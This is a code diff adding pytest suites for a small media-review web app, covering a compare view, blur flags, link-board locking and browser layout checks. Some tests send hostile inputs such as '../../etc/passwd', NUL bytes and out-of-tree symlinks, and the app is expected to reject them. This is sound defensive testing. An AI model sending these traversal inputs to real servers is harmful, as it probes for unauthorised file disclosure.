"""`normalize_bench_url` refuses userinfo for a bench; `booth link` was the
|
||||
door this unit did not touch, and the board renders on an unauthenticated
|
||||
LAN surface. Cold contract panel, groa solo. A deliberate small widening of
|
||||
the unit, named rather than smuggled."""
|
||||
data, _ = booth
|
||||
r = run(data, "link", "https://user:hunter2@x.test/p", "leaky")
|
||||
assert r.returncode != OK
|
||||
assert "credentials" in r.stderr
|
||||
assert not (data / "links").exists(), "a credentialed URL created the board"
|
||||
|
||||
|
||||
def test_the_append_happens_INSIDE_the_lock(booth):
|
||||
"""Cold bug-hunt panel, hulda solo. `flock LOCK printf ... >> board` reads
|
||||
as locked and is not: the SHELL opens the append fd while parsing, before
|
||||
flock acquires. A concurrent `unlink` rewriting the board in that window
|
||||
replaces the inode, the old fd keeps pointing at the unlinked one, and the
|
||||
append succeeds, reports success, and vanishes.
|
||||
|
||||
Proved by holding the lock: if the open were outside it, `booth link` would
|
||||
write and exit while blocked. Defeating change: reverting to the bare
|
||||
`flock LOCK printf ... >>` form, under which this test writes the row.
|
||||
"""
|
||||
import fcntl
|
||||
data, _ = booth
|
||||
board = data / "links"
|
||||
board.mkdir(parents=True)
|
||||
(board / "links.md").write_text("")
|
||||
lock = board / ".links.lock"
|
||||
lock.touch()
|
||||
with lock.open("r+") as lf:
|
||||
fcntl.flock(lf, fcntl.LOCK_EX)
|
||||
try:
|
||||
# subprocess.run directly: `run()` pins timeout=30 itself.
|
||||
with pytest.raises(subprocess.TimeoutExpired):
|
||||
subprocess.run(
|
||||
[str(SCRIPT), "link", "https://ok.test/x", "blocked"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
env={**os.environ, "BOOTH_DATA_DIR": str(data),
|
||||
"BOOTH_URL": "http://booth.invalid"})
|
||||
finally:
|
||||
fcntl.flock(lf, fcntl.LOCK_UN)
|
||||
assert (board / "links.md").read_text() == "", \
|
||||
"the row was appended while another writer held the lock"
|
||||
|
||||
|
||||
def test_blur_with_no_files_fogs_the_whole_booth(booth):
|
||||
"""The Desk shows up to four images from EVERY booth on the page the
|
||||
operator opens first, so a booth that should not be glanced at has to say
|
||||
so as a booth — and the session that posts it is the one that knows.
|
||||
|
||||
Seventeen handles call this script; a verb here is how they self-blur at
|
||||
post time without waiting for anyone to click anything."""
|
||||
data, b = booth
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
|
||||
out = run(data, "blur", "b")
|
||||
assert out.returncode == 0, out.stderr
|
||||
assert (b / ".blurbooth").exists()
|
||||
assert "whole booth blurred" in out.stdout
|
||||
|
||||
out = run(data, "unblur", "b")
|
||||
assert out.returncode == 0, out.stderr
|
||||
assert not (b / ".blurbooth").exists()
|
||||
|
||||
|
||||
def test_unblurring_the_booth_keeps_per_item_choices(booth):
|
||||
"""COMPOSES, never overrides — the same promise the resolver makes. An
|
||||
agent's per-item blur must survive the booth flag being cleared.
|
||||
|
||||
Defeating change: `unblur <name>` also clearing `.blurred`."""
|
||||
data, b = booth
|
||||
for n in ("a.png", "b.png"):
|
||||
(b / n).write_bytes(b"x")
|
||||
|
||||
run(data, "blur", "b", "a.png")
|
||||
run(data, "blur", "b")
|
||||
run(data, "unblur", "b")
|
||||
|
||||
assert not (b / ".blurbooth").exists()
|
||||
# Read through the reader, not the bytes: `.blurred` became a JSON array
|
||||
# (the round-trip fix, operator-ruled 2026-09-23), and this test is about
|
||||
# the per-item choice surviving, not about the file's format.
|
||||
import sys
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
from booth.blur import read_blurred
|
||||
assert read_blurred(b) == {"a.png"}
|
||||
|
||||
@@ -0,0 +1,426 @@
|
||||
"""R3 — compare: two picked items of a booth side by side.
|
||||
|
||||
Contract: docs/contracts/r3_compare.contract.md. The server half: the route,
|
||||
the pair, the step and strip links, the regions, and the JS-off flag landing.
|
||||
The browser half is tests/test_compare_browser.py.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import pathlib
|
||||
import re
|
||||
import sys
|
||||
from urllib.parse import parse_qs, urlsplit
|
||||
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.app import create_app # noqa: E402
|
||||
|
||||
PNG = b"\x89PNG\r\n\x1a\n"
|
||||
|
||||
|
||||
def _booth(root: pathlib.Path, name: str, files: dict[str, bytes]) -> pathlib.Path:
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for rel, data in files.items():
|
||||
p = b / rel
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
p.write_bytes(data)
|
||||
return b
|
||||
|
||||
|
||||
def _client(root: pathlib.Path) -> TestClient:
|
||||
return TestClient(create_app(root, ttl_hours=24, start_sweeper=False),
|
||||
follow_redirects=False)
|
||||
|
||||
|
||||
def _frames(body: str) -> dict[str, str]:
|
||||
"""rel -> the A/B marks its filmstrip frame carries ('' for none), in
|
||||
strip order."""
|
||||
film = re.search(r'<nav class="film"[^>]*data-region="film".*?</nav>', body, re.S).group(0)
|
||||
out = {}
|
||||
for f in re.findall(r'<a class="film-f[^"]*"[^>]*>.*?</a>', film, re.S):
|
||||
rel = re.search(r'data-rel="([^"]*)"', f).group(1)
|
||||
out[rel] = "".join(re.findall(r'<span class="film-ab">([AB]+)</span>', f))
|
||||
return out
|
||||
|
||||
|
||||
# ---- C1: the route and the pair ----------------------------------------------
|
||||
|
||||
def test_compare_renders_the_pair(tmp_path):
|
||||
"""The tracer: four pictures, #1 against #3. Both names and both ordinals
|
||||
are printed, and the filmstrip marks #1 A and #3 B."""
|
||||
_booth(tmp_path, "g", {f"{n}.png": PNG for n in ("p", "q", "r", "s")})
|
||||
r = _client(tmp_path).get("/b/g/compare?a=p.png&b=r.png")
|
||||
assert r.status_code == 200
|
||||
body = r.text
|
||||
label_a = re.search(r'data-region="label-a".*?</div>', body, re.S).group(0)
|
||||
label_b = re.search(r'data-region="label-b".*?</div>', body, re.S).group(0)
|
||||
assert "p.png" in label_a and "#1" in label_a, label_a
|
||||
assert "r.png" in label_b and "#3" in label_b, label_b
|
||||
assert _frames(body) == {"p.png": "A", "q.png": "", "r.png": "B", "s.png": ""}
|
||||
assert list(_frames(body)) == ["p.png", "q.png", "r.png", "s.png"], "the strip is in RING order"
|
||||
# each side's flag form names its OWN item
|
||||
for key, rel in (("a", "p.png"), ("b", "r.png")):
|
||||
form = re.search(r'data-region="flag-%s".*?</form>' % key, body, re.S).group(0)
|
||||
assert f'name="target" value="{rel}"' in form, (key, form)
|
||||
|
||||
|
||||
def _four(root: pathlib.Path) -> pathlib.Path:
|
||||
"""Four pictures, a doc, a caption sidecar and a dotfile: every kind of
|
||||
thing a side can name that is not a side."""
|
||||
return _booth(root, "g", {"p.png": PNG, "q.png": PNG, "r.png": PNG, "s.png": PNG,
|
||||
"notes.md": b"# n", "p.png.txt": b"a caption",
|
||||
".hidden.png": PNG})
|
||||
|
||||
|
||||
def test_a_bad_side_is_a_404(tmp_path):
|
||||
"""Missing, traversal, a NUL, a dotfile, a doc item, a non-item file: a 404
|
||||
each, on either side, never a 500."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
bad = ["", "../g/p.png/..", "../../etc/passwd", "p.png\x00", ".hidden.png",
|
||||
"notes.md", "p.png.txt", "gone.png", "sub/"]
|
||||
for rel in bad:
|
||||
for q in ({"a": rel, "b": "q.png"}, {"a": "q.png", "b": rel}):
|
||||
r = c.get("/b/g/compare", params=q)
|
||||
assert r.status_code == 404, (q, r.status_code)
|
||||
for q in ({"b": "q.png"}, {"a": "q.png"}, {}):
|
||||
assert c.get("/b/g/compare", params=q).status_code == 404, q
|
||||
|
||||
|
||||
def test_a_missing_param_is_404_not_422(tmp_path):
|
||||
"""The review declares `f: str` and answers 422 without it; compare
|
||||
declares both sides with a default and answers 404."""
|
||||
_four(tmp_path)
|
||||
r = _client(tmp_path).get("/b/g/compare?a=p.png")
|
||||
assert r.status_code == 404
|
||||
|
||||
|
||||
def test_an_outside_symlink_in_the_ring_is_404(tmp_path):
|
||||
"""`booth_items` follows symlinks, so a link pointing OUTSIDE the booth is
|
||||
in the review ring; only the containment check refuses it."""
|
||||
from booth.items import booth_items, review_chain
|
||||
b = _four(tmp_path)
|
||||
outside = tmp_path / "elsewhere.png"
|
||||
outside.write_bytes(PNG)
|
||||
(b / "zz-link.png").symlink_to(outside)
|
||||
assert "zz-link.png" in review_chain(booth_items(b)), "the fixture must put it in the ring"
|
||||
# a SIBLING whose name shares the booth's prefix is outside too (the
|
||||
# containment check compares with the separator, never a bare prefix)
|
||||
sib = tmp_path / "g-extra"
|
||||
sib.mkdir()
|
||||
(sib / "x.png").write_bytes(PNG)
|
||||
(b / "zz-sib.png").symlink_to(sib / "x.png")
|
||||
c = _client(tmp_path)
|
||||
for rel in ("zz-link.png", "zz-sib.png"):
|
||||
assert c.get(f"/b/g/compare?a={rel}&b=p.png").status_code == 404, rel
|
||||
assert c.get(f"/b/g/compare?a=p.png&b={rel}").status_code == 404, rel
|
||||
|
||||
|
||||
def test_no_navigation_offers_a_pair_that_404s(tmp_path):
|
||||
"""An outside symlink stays in the review ring, and compare 404s it. So no
|
||||
compare link may offer it: not the strip, not a step, not the review's
|
||||
Compare control, not the JS-off flag landing (heid bug hunt, 3 of 4)."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG, "c.png": PNG})
|
||||
outside = tmp_path / "elsewhere.png"
|
||||
outside.write_bytes(PNG)
|
||||
(b / "b-link.png").symlink_to(outside)
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=a.png&b=c.png").text
|
||||
assert list(_frames(body)) == ["a.png", "c.png"], _frames(body)
|
||||
for h in _compare_links(body):
|
||||
q = parse_qs(urlsplit(h).query)
|
||||
assert "b-link.png" not in (q["a"][0], q["b"][0]), h
|
||||
assert _step(body, "a-next") == ("c.png", "c.png") # steps over it
|
||||
assert _compare_href(c.get("/b/g/view?f=a.png").text) == ("a.png", "c.png")
|
||||
r = c.post("/b/g/flag", data={"target": "a.png", "on": "1", "back": "compare",
|
||||
"a": "a.png", "b": "b-link.png"})
|
||||
assert r.headers["location"] == "/b/g/#item-a.png", r.headers["location"]
|
||||
|
||||
|
||||
def test_hostile_booth_names_are_404_not_500(tmp_path):
|
||||
"""A NUL in the booth segment makes Path.resolve raise ValueError, which
|
||||
is not an OSError: it must still be a 404 (heid bug hunt, hulda)."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
for path in ("/b/g%00/compare?a=p.png&b=q.png", "/b/g%00/view?f=p.png", "/b/g%00/"):
|
||||
assert c.get(path).status_code == 404, path
|
||||
|
||||
|
||||
def test_a_nul_in_a_file_path_is_404_not_500(tmp_path):
|
||||
"""Compare's stages load their pictures through the raw file route. A NUL
|
||||
in that path segment raises ValueError from resolve(), which is not an
|
||||
OSError: still a 404 (heid bug hunt on the race fix, hulda)."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
for path in ("/b/g/p%00.png", "/b/g/p.png%00?thumb=1", "/b/g/sub%00/p.png?dl=1"):
|
||||
assert c.get(path).status_code == 404, path
|
||||
|
||||
|
||||
def test_a_planted_fifo_marker_cannot_hang_a_look(tmp_path):
|
||||
"""Recording a look never costs the page: a FIFO planted at `.viewed` must
|
||||
not block the open that touches it (heid bug hunt, hulda)."""
|
||||
import os
|
||||
import threading
|
||||
b = _four(tmp_path)
|
||||
os.mkfifo(b / ".viewed")
|
||||
got = []
|
||||
t = threading.Thread(target=lambda: got.append(
|
||||
_client(tmp_path).get("/b/g/compare?a=p.png&b=q.png").status_code), daemon=True)
|
||||
t.start()
|
||||
t.join(10)
|
||||
assert got == [200], "a planted FIFO held the look open"
|
||||
|
||||
|
||||
def _vanish_after_scan(monkeypatch, name: str, grace: int) -> None:
|
||||
"""Make `name` stop being a file partway through a request: once
|
||||
booth_items has scanned the booth, the first `grace` is_file checks of it
|
||||
still pass and every later one fails — a file deleted or relinked outside
|
||||
the booth mid-request, between two resolves of the same rel."""
|
||||
import pathlib as _pl
|
||||
import booth.app as app_mod
|
||||
state = {"armed": False, "calls": 0}
|
||||
real_items, real_is_file = app_mod.booth_items, _pl.Path.is_file
|
||||
|
||||
def items(booth):
|
||||
out = real_items(booth)
|
||||
state["armed"] = True
|
||||
return out
|
||||
|
||||
def is_file(self):
|
||||
if state["armed"] and self.name == name:
|
||||
state["calls"] += 1
|
||||
if state["calls"] > grace:
|
||||
return False
|
||||
return real_is_file(self)
|
||||
|
||||
monkeypatch.setattr(app_mod, "booth_items", items)
|
||||
monkeypatch.setattr(_pl.Path, "is_file", is_file)
|
||||
|
||||
|
||||
def test_a_side_that_vanishes_mid_request_never_500s(tmp_path, monkeypatch):
|
||||
"""booth-dev's race: each rel must be judged ONCE per request. A side that
|
||||
passes its check and then vanishes before a second resolve must not reach
|
||||
a `.index()` that raises — a damaged file costs its own tile, never the
|
||||
page."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG, "r.png": PNG})
|
||||
_vanish_after_scan(monkeypatch, "p.png", grace=1)
|
||||
r = _client(tmp_path).get("/b/g/compare?a=p.png&b=q.png")
|
||||
assert r.status_code in (200, 404), r.status_code
|
||||
|
||||
|
||||
def test_the_review_hides_compare_when_its_item_vanishes_mid_request(tmp_path, monkeypatch):
|
||||
"""The review checked its item, then the item vanished before the compare
|
||||
ring was built: the page still renders, without a Compare control (a
|
||||
compare of it would 404) — never a 500."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG})
|
||||
_vanish_after_scan(monkeypatch, "p.png", grace=0)
|
||||
r = _client(tmp_path).get("/b/g/view?f=p.png")
|
||||
assert r.status_code == 200, r.status_code
|
||||
assert 'class="vbtn vcompare"' not in r.text
|
||||
|
||||
|
||||
def test_a_look_records_both_seen(tmp_path):
|
||||
"""A compare GET is a look at both sides; a 404 records nothing."""
|
||||
import json
|
||||
b = _four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
assert c.get("/b/g/compare?a=p.png&b=gone.png").status_code == 404
|
||||
assert not (b / ".seen").exists() and not (b / ".viewed").exists()
|
||||
assert c.get("/b/g/compare?a=q.png&b=s.png").status_code == 200
|
||||
assert set(json.loads((b / ".seen").read_text())) == {"q.png", "s.png"}
|
||||
assert (b / ".viewed").exists()
|
||||
|
||||
|
||||
def test_compare_carries_data_booth(tmp_path):
|
||||
"""Reveal all's script and the head script's reveal restore both read
|
||||
`data-booth` off <html>, and bail without it."""
|
||||
_four(tmp_path)
|
||||
body = _client(tmp_path).get("/b/g/compare?a=p.png&b=q.png").text
|
||||
assert re.search(r'<html lang="en" data-booth="g">', body)
|
||||
|
||||
|
||||
def test_no_data_region_repeats(tmp_path):
|
||||
"""The swap keeps the FIRST fresh node per id and copies it over EVERY live
|
||||
node with that id, so a shared id would turn B's flag into A's. Unique,
|
||||
keyed by side — including when a == b."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
for q in ("a=p.png&b=r.png", "a=q.png&b=q.png"):
|
||||
# attributes only: base.html's script names `[data-region="status"]`
|
||||
ids = re.findall(r'\sdata-region="([^"]+)"', c.get(f"/b/g/compare?{q}").text)
|
||||
assert len(ids) == len(set(ids)), (q, ids)
|
||||
assert {"flag-a", "flag-b", "label-a", "label-b", "film"} <= set(ids), ids
|
||||
assert not [i for i in ids if i.startswith("item-")], ids
|
||||
body = c.get("/b/g/compare?a=q.png&b=q.png").text
|
||||
assert _frames(body)["q.png"] == "AB", "a == b marks the one frame both ways"
|
||||
|
||||
|
||||
def test_a_video_or_track_plays_in_its_own_stage_and_two_get_no_toggle(tmp_path):
|
||||
"""C4: video and audio play in their own stage; the Fit | 1:1 toggle is
|
||||
bound only when a side is a picture, so two videos get none."""
|
||||
_booth(tmp_path, "g", {"a.webm": b"\x1aE\xdf\xa3", "b.mp3": b"ID3", "c.png": PNG})
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=a.webm&b=b.mp3").text
|
||||
assert re.search(r'<video class="cmp-media"[^>]*src="a.webm"', body)
|
||||
assert re.search(r'<audio class="cmp-media"[^>]*src="b.mp3"', body)
|
||||
assert 'id="vtoggle"' not in body
|
||||
assert 'id="vtoggle"' in c.get("/b/g/compare?a=a.webm&b=c.png").text
|
||||
|
||||
|
||||
# ---- C3: stepping --------------------------------------------------------------
|
||||
|
||||
def _ring6(root: pathlib.Path) -> pathlib.Path:
|
||||
"""Six media with a DOC between them: 03-notes.md takes ordinal 3, so an
|
||||
ordinal is not a ring position."""
|
||||
return _booth(root, "g", {"01.png": PNG, "02.png": PNG, "03-notes.md": b"# n",
|
||||
"04.png": PNG, "05.png": PNG, "06.png": PNG, "07.png": PNG})
|
||||
|
||||
|
||||
def _step(body: str, which: str) -> tuple[str, str]:
|
||||
"""The (a, b) rels a step link targets."""
|
||||
href = re.search(r'<a [^>]*data-step="%s"[^>]*href="([^"]+)"' % which, body)
|
||||
href = href or re.search(r'<a [^>]*href="([^"]+)"[^>]*data-step="%s"' % which, body)
|
||||
q = parse_qs(urlsplit(href.group(1).replace("&", "&")).query)
|
||||
return q["a"][0], q["b"][0]
|
||||
|
||||
|
||||
def test_linked_steps_keep_the_distance_and_wrap(tmp_path):
|
||||
"""Ring positions 2 and 5 step forward to (3, 6), then (4, 1) — wrapped —
|
||||
and back from (1, 4) to (6, 3). Named by rel, never by ordinal."""
|
||||
_ring6(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=02.png&b=06.png").text
|
||||
assert _step(body, "both-next") == ("04.png", "07.png")
|
||||
body = c.get("/b/g/compare?a=04.png&b=07.png").text
|
||||
assert _step(body, "both-next") == ("05.png", "01.png")
|
||||
body = c.get("/b/g/compare?a=07.png&b=02.png").text
|
||||
assert _step(body, "both-next") == ("01.png", "04.png"), "A wraps as B does"
|
||||
body = c.get("/b/g/compare?a=01.png&b=05.png").text
|
||||
assert _step(body, "both-prev") == ("07.png", "04.png")
|
||||
# each side on its own moves only itself, and wraps the same way
|
||||
assert _step(body, "a-prev") == ("07.png", "05.png")
|
||||
assert _step(body, "a-next") == ("02.png", "05.png")
|
||||
assert _step(body, "b-prev") == ("01.png", "04.png")
|
||||
assert _step(body, "b-next") == ("01.png", "06.png")
|
||||
|
||||
|
||||
def _compare_links(body: str) -> list[str]:
|
||||
"""Every step and filmstrip href on the page, entity-decoded."""
|
||||
hrefs = re.findall(r'<a [^>]*(?:data-step="[^"]+"[^>]*href|class="film-f[^"]*"[^>]*href)="([^"]+)"', body)
|
||||
return [h.replace("&", "&") for h in hrefs]
|
||||
|
||||
|
||||
def test_the_urls_are_keyed_by_rel(tmp_path):
|
||||
"""Every step and strip link names both sides by rel, url-quoted; none
|
||||
carries an ordinal or any key beyond the pair and the view state."""
|
||||
_booth(tmp_path, "g", {"a b.png": PNG, "sub dir/c#d.png": PNG, "e&f.png": PNG})
|
||||
body = _client(tmp_path).get("/b/g/compare", params={"a": "a b.png", "b": "sub dir/c#d.png"}).text
|
||||
links = _compare_links(body)
|
||||
assert len(links) == 6 + 3, links # six steps, three frames
|
||||
for h in links:
|
||||
u = urlsplit(h)
|
||||
assert u.path == "/b/g/compare", h
|
||||
assert " " not in h and "#" not in u.query.replace("%23", ""), h
|
||||
q = parse_qs(u.query)
|
||||
assert set(q) == {"a", "b"}, h
|
||||
assert all(v in ("a b.png", "sub dir/c#d.png", "e&f.png") for v in (q["a"][0], q["b"][0])), h
|
||||
|
||||
|
||||
def test_view_state_rides_the_links(tmp_path):
|
||||
"""`side=a&link=0` rides every step and strip link; an unknown value reads
|
||||
as the default (B active, linked) and is never an error."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=p.png&b=r.png&side=a&link=0").text
|
||||
links = _compare_links(body)
|
||||
assert links and all(h.endswith("&side=a&link=0") for h in links), links
|
||||
assert 'class="cmp-side is-active" data-side="a"' in body
|
||||
# with A active a frame replaces A, keeping B
|
||||
frame = re.search(r'<a class="film-f[^"]*"\s+href="([^"]+)" data-rel="q.png"', body).group(1)
|
||||
assert parse_qs(urlsplit(frame.replace("&", "&")).query) == {
|
||||
"a": ["q.png"], "b": ["r.png"], "side": ["a"], "link": ["0"]}
|
||||
links = _compare_links(c.get("/b/g/compare?a=p.png&b=r.png&link=0").text)
|
||||
assert links and all(h.endswith("&link=0") and "side=" not in h for h in links), links
|
||||
for odd in ("side=z&link=maybe", "side=A&link=00", "side=&link="):
|
||||
r = c.get(f"/b/g/compare?a=p.png&b=r.png&{odd}")
|
||||
assert r.status_code == 200, odd
|
||||
links = _compare_links(r.text)
|
||||
assert all(set(parse_qs(urlsplit(h).query)) == {"a", "b"} for h in links), (odd, links)
|
||||
assert 'class="cmp-side is-active" data-side="b"' in r.text, odd
|
||||
assert 'data-linked="1"' in r.text, odd
|
||||
|
||||
|
||||
# ---- C5: judging without JS -----------------------------------------------------
|
||||
|
||||
def _flag(c: TestClient, form: dict, accept: str | None = None):
|
||||
headers = {"accept": accept} if accept else {}
|
||||
r = c.post("/b/g/flag", data={"target": "q.png", "on": "1", **form}, headers=headers)
|
||||
assert r.status_code == (204 if accept else 303), (form, r.status_code)
|
||||
return r
|
||||
|
||||
|
||||
def test_a_flag_without_js_lands_on_the_same_pair(tmp_path):
|
||||
"""`back=compare` lands on exactly the pair, built from the checked rels,
|
||||
with the view state mapped from a closed set and never echoed, and no
|
||||
fragment. Anything outside the ring takes the no-`back` landing; the
|
||||
in-place answer is the 204 it always was."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG, "sub dir/r s.png": PNG, "n.md": b"# n"})
|
||||
c = _client(tmp_path)
|
||||
pair = {"back": "compare", "a": "p.png", "b": "sub dir/r s.png"}
|
||||
want = "/b/g/compare?a=p.png&b=sub%20dir/r%20s.png"
|
||||
r = _flag(c, pair)
|
||||
assert r.status_code == 303 and r.headers["location"] == want
|
||||
assert _flag(c, {**pair, "side": "a", "link": "0"}).headers["location"] == want + "&side=a&link=0"
|
||||
assert _flag(c, {**pair, "link": "0"}).headers["location"] == want + "&link=0"
|
||||
for odd in ({"side": "A"}, {"link": "00"}, {"side": "b", "link": "1"},
|
||||
{"side": "a#x", "link": "0&side=a"}):
|
||||
assert _flag(c, {**pair, **odd}).headers["location"] == want, odd
|
||||
no_back = _flag(c, {"target": "q.png"}).headers["location"]
|
||||
assert no_back == "/b/g/#item-q.png"
|
||||
for bad in ({"a": "n.md"}, {"b": "gone.png"}, {"a": "../g/p.png"}, {"b": ""}):
|
||||
assert _flag(c, {**pair, **bad}).headers["location"] == no_back, bad
|
||||
r = _flag(c, pair, accept="application/json")
|
||||
assert r.status_code == 204 and "location" not in r.headers
|
||||
|
||||
|
||||
def test_every_other_landing_is_byte_identical(tmp_path):
|
||||
"""R2 INV-4: `back=view`, `back=marks` and no `back` land exactly where they
|
||||
did before compare existed."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG})
|
||||
c = _client(tmp_path)
|
||||
assert _flag(c, {}).headers["location"] == "/b/g/#item-q.png"
|
||||
assert _flag(c, {"back": "marks"}).headers["location"] == "/b/g/marks#item-q.png"
|
||||
assert _flag(c, {"back": "view", "f": "p.png"}).headers["location"] == "/b/g/view?f=p.png#rail"
|
||||
assert _flag(c, {"back": "view", "f": "gone.png"}).headers["location"] == "/b/g/#item-q.png"
|
||||
assert _flag(c, {"back": "Compare", "a": "p.png", "b": "q.png"}).headers["location"] == "/b/g/#item-q.png"
|
||||
|
||||
|
||||
# ---- C2: picking from the review ------------------------------------------------
|
||||
|
||||
def _compare_href(body: str) -> tuple[str, str]:
|
||||
href = re.search(r'<a class="vbtn vcompare"[^>]*href="([^"]+)"', body).group(1)
|
||||
u = urlsplit(href.replace("&", "&"))
|
||||
assert u.path == "/b/g/compare", href
|
||||
q = parse_qs(u.query)
|
||||
assert set(q) == {"a", "b"}, href
|
||||
return q["a"][0], q["b"][0]
|
||||
|
||||
|
||||
def test_the_review_offers_compare_with_the_next_item(tmp_path):
|
||||
"""The review's Compare control opens this item against the NEXT media item
|
||||
in the ring — skipping the doc — and the last wraps to the first. A ring of
|
||||
one compares the item with itself."""
|
||||
_ring6(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
assert _compare_href(c.get("/b/g/view?f=02.png").text) == ("02.png", "04.png")
|
||||
assert _compare_href(c.get("/b/g/view?f=07.png").text) == ("07.png", "01.png")
|
||||
_booth(tmp_path, "one", {"only.png": PNG, "n.md": b"# n"})
|
||||
body = c.get("/b/one/view?f=only.png").text
|
||||
href = re.search(r'<a class="vbtn vcompare"[^>]*href="([^"]+)"', body).group(1)
|
||||
assert href.replace("&", "&") == "/b/one/compare?a=only.png&b=only.png"
|
||||
# a doc's own page is not a review, and offers no compare
|
||||
assert 'class="vbtn vcompare"' not in c.get("/b/g/view?f=03-notes.md").text
|
||||
@@ -0,0 +1,523 @@
|
||||
"""R3 — compare, in a real DOM.
|
||||
|
||||
Contract: docs/contracts/r3_compare.contract.md. A TestClient can prove what
|
||||
the server answers; it cannot prove that two stages sit side by side, that a
|
||||
pan on one lands the other on the same crop, or that an in-place save keeps
|
||||
the active side. The harness is test_flow_browser's (a real uvicorn, a real
|
||||
offline Chromium), and like it this SKIPS, never fails, without a browser.
|
||||
"""
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from test_flow_browser import _png, browser, live # noqa: E402,F401 (fixtures)
|
||||
|
||||
|
||||
def _pics(root: pathlib.Path, pics: dict, name: str = "g") -> pathlib.Path:
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for rel, (w, h) in pics.items():
|
||||
p = b / rel
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
p.write_bytes(_png(w, h))
|
||||
return b
|
||||
|
||||
|
||||
def _open(page, url):
|
||||
"""Load a compare page and wait until every picture on a stage decoded."""
|
||||
page.goto(url, wait_until="networkidle")
|
||||
page.wait_for_function("""[...document.querySelectorAll('.cmp-side .vstage img')]
|
||||
.every(i => i.complete && i.naturalWidth > 0)""")
|
||||
page.wait_for_timeout(150)
|
||||
|
||||
|
||||
_BOXES = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s => {
|
||||
const b = s.getBoundingClientRect();
|
||||
return {side: s.dataset.side, l: b.left, r: b.right, t: b.top, b: b.bottom, h: b.height};
|
||||
})"""
|
||||
|
||||
|
||||
def test_two_stages_side_by_side_wide_and_stacked_narrow(browser, live):
|
||||
"""The tracer. Above 900px A and B share one row, A on the left, each
|
||||
exactly half the body — the SAME width, so equal pictures have equal
|
||||
ranges. At 900px and below (the review's break) they stack, A above B,
|
||||
each at most 45vh tall."""
|
||||
base, root = live
|
||||
from booth.app import set_blurred
|
||||
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
|
||||
(b / "a.png.txt").write_text("a caption on A only, " * 8)
|
||||
set_blurred(b, "b.png", True) # the bar carries Reveal all too: its fullest
|
||||
got = {}
|
||||
for w, h in ((1440, 900), (901, 800), (900, 800), (390, 844)):
|
||||
page = browser.new_page(viewport={"width": w, "height": h})
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
got[w] = (page.evaluate(_BOXES), h,
|
||||
page.evaluate("document.documentElement.scrollWidth - document.documentElement.clientWidth"),
|
||||
# and nothing squeezed: every top-bar control one line, none
|
||||
# crushed narrower than its own content (a flex item shrinks
|
||||
# before it overflows — the Fit | 1:1 toggle went to 2px)
|
||||
page.evaluate("""() => { const c = [...document.querySelectorAll(
|
||||
'.vbar button, .vbar .vbtn, .vbar .vtoggle')].filter(e => e.offsetParent);
|
||||
return [Math.max(...c.map(e => e.getBoundingClientRect().height)),
|
||||
Math.max(...c.map(e => e.scrollWidth - e.clientWidth))]; }"""))
|
||||
page.close()
|
||||
(a, b), _, over, tallest = got[1440]
|
||||
assert (a["side"], b["side"]) == ("a", "b")
|
||||
assert abs(a["t"] - b["t"]) <= 1 and a["r"] <= b["l"], (a, b)
|
||||
assert a["r"] - a["l"] > 1440 * 0.4 and b["r"] - b["l"] > 1440 * 0.4, (a, b)
|
||||
# the SAME stage for both, or Fit draws one smaller: A's caption must not
|
||||
# take its height from A's stage alone
|
||||
assert abs(a["h"] - b["h"]) <= 1 and abs(a["b"] - b["b"]) <= 1, (a, b)
|
||||
# ...and the same width: a separator must not come out of one side alone
|
||||
assert abs((a["r"] - a["l"]) - (b["r"] - b["l"])) <= 0.5, (a, b)
|
||||
assert over <= 0 and tallest[0] <= 40 and tallest[1] <= 1, (over, tallest)
|
||||
(a, b), _, _, _ = got[901]
|
||||
assert abs(a["t"] - b["t"]) <= 1 and a["r"] <= b["l"], ("side by side at 901", a, b)
|
||||
(a, b), _, _, _ = got[900]
|
||||
assert a["b"] <= b["t"], ("stacked at 900", a, b)
|
||||
(a, b), vh, over, tallest = got[390]
|
||||
assert a["b"] <= b["t"], ("A above B", a, b)
|
||||
assert a["h"] <= 0.45 * vh + 1 and b["h"] <= 0.45 * vh + 1, (a, b)
|
||||
assert a["h"] > 100 and b["h"] > 100, (a, b)
|
||||
assert over <= 0, "the compare page scrolls sideways at phone width"
|
||||
assert tallest[0] <= 40, ("a top-bar control squeezed into a stack", tallest)
|
||||
assert tallest[1] <= 1, ("a top-bar control crushed narrower than its content", tallest)
|
||||
|
||||
|
||||
_IMGS = """() => [...document.querySelectorAll('.cmp-side .vstage img')].map(i => {
|
||||
const b = i.getBoundingClientRect();
|
||||
return [Math.round(b.width), Math.round(b.height), i.naturalWidth, i.naturalHeight];
|
||||
